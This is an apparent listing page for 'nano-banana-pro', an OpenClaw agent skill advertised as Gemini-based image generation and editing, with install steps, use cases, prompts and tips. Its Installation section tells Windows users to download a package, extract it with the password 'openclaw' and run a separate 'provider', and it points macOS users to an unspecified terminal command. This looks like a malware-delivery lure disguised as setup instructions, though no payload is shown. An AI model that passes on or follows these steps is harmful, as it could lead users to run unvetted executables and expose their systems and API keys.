nano-banana-pro

What This Skill Does

Nano Banana Pro is a versatile image generation and editing agent skill for OpenClaw, powered by Google's Gemini 3 Pro Image model. It allows users to create stunning visuals from text prompts or transform existing imagery through sophisticated image-to-image workflows. The skill is designed for professional-grade creative tasks, offering granular control over output resolution (1K, 2K, or 4K) and enabling rapid iterative workflows. Whether you are generating concept art, modifying existing photographs, or creating high-resolution assets, Nano Banana Pro integrates directly into your terminal workflow.

Installation

To begin using the skill, you must first ensure the OpenClawProvider is active on your system. Windows users should download the official package, extract it using the password 'openclaw', and run the provider. MacOS users can initiate the installation via a secure terminal command provided in the documentation. Once the provider is established, you can install the skill directly using the command: clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-lrmva2.

Use Cases

Nano Banana Pro is ideal for designers, developers, and creative professionals. Common use cases include:

• Rapid prototyping: Quickly generate low-resolution (1K) drafts to test prompt adherence before final high-resolution renders.
• Image Editing: Use the --input-image flag to perform semantic edits on existing photos, such as changing style, color schemes, or adding elements to an image.
• Asset Creation: Generate UI elements, wallpapers, or marketing assets at 4K resolution.
• Design Iteration: Use consistent seeds or iterative prompting to refine a generated image until it perfectly matches your vision.

Example Prompts

1. "Create a 2K resolution image of a cyberpunk city street at night, with neon lights reflecting in puddles on the ground."
2. "Edit this photo (input.png) to make it look like a classic 1950s oil painting, keep the subject exactly the same."
3. "Generate a high-res, 4K digital painting of a futuristic skyscraper surrounded by lush vertical gardens."

Tips & Limitations

Always adopt the draft-to-final workflow. Start with 1K resolution to save time and API costs while you iterate on your prompt. Only upgrade to 4K once you are satisfied with the composition. Ensure you have the GEMINI_API_KEY environment variable set, or use the --api-key flag explicitly. Avoid changing the directory to the skill folder; always run the script from your current working directory to ensure generated images are saved exactly where you want them. Note that this skill requires an active internet connection to communicate with the Gemini 3 Pro API.